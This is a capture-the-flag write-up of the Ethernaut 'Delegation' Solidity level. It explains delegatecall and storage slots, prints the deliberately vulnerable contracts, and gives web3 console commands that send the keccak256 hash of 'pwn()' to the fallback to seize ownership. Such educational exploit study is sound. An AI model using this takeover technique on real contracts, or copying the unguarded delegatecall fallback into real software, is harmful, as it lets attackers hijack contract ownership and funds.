Table of contents
This challenge is also fairly simple and introduces the concept of delegatecall
. Per usual, I would give you all the tools to solve this on your own and then provide a solution.
The goal of this level is for you to claim ownership of the instance you are given.
Background
Let's see what a delegate call
is according to solidity docs:
delegatecall is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and
msg.sender
andmsg.value
do not change their values.
in a less jargonish way, a delegatecall
basically says, that I am a contract and I am delegating you to do anything with my storage.
For Example:
In a call
function: A calls on B, ==> context and storage of B is used.
In a delegatecall
function: A delegates call on B, ==> context and storage of A is used.
Note: "While using delegatecall
, understand that it preserves context and only use it when the storage layout is the same for the contract calling delegatecall
and the contract getting called"
Here is what storage layout means:
contract Example{
uint a; //slot 0
uint b; //slot 1
If the storage layout is not the same the data will go into a different variable.
Code of Importance & Problems
Observe that we have two different contracts here. The explanation for both is in the comments.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner; //sets state variable owner
constructor(address _owner) { //initializes owner
owner = _owner;
}
function pwn() public {
owner = msg.sender; //this can make us the owner..keep in mind.
}
}
contract Delegation {
address public owner;
Delegate delegate; // a reference to the Delegate contract above
constructor(address _delegateAddress) { //takes address as input
delegate = Delegate(_delegateAddress); //initialises delegate state variable
owner = msg.sender; //sender is initialised as owner
}
fallback() external { //fallback function (refer 1st challenge)
(bool result,) = address(delegate).delegatecall(msg.data);//stores the success of delegatecall in result.
if (result) { //if true creates a 'this' instance.
this; //keeps going with the contract code.
}
}
}
Now, how to tackle the code, let's backtrace our thinking.
Now, since
delegatecall
is used, the context (msg.sender
,msg.value
) of the "Delegation" contract will be used, to invoke thepwn()
function in the "delegate" contract.Also notice that, the storage slot for
owner
is the same in both contracts.In short, this will behave as if the
pwn()
function is in the "Delegation" contract.
Here is briefly the timeline of exploit:
Trigger the fallback function whilst invoking the
pwn()
function using msg.data.Triggers the
pwn()
function in the delegate contract.but the storage of the Delegation contract is used.
Updates
owner = msg.sender(us)
according to thepwn()
function in the delegation contract.
Solution
Create a new level instance and open up the console.
var attack = web3.utils.keccak256("pwn()") //saves hashed pwn() in attack. //we require the hashed version of pwn() to pass it as msg.data.
contract.sendTransaction({data: attack}) //sending a transaction with msg.data as attack which will trigger the pwn() function. //Since, there is no function to accept the transaction, it will trigger the fallback function which will delegate it and....Ah Shit, here we go again.
await contract.owner() //check whether you are the owner.
Submit Instance.
Delegation✅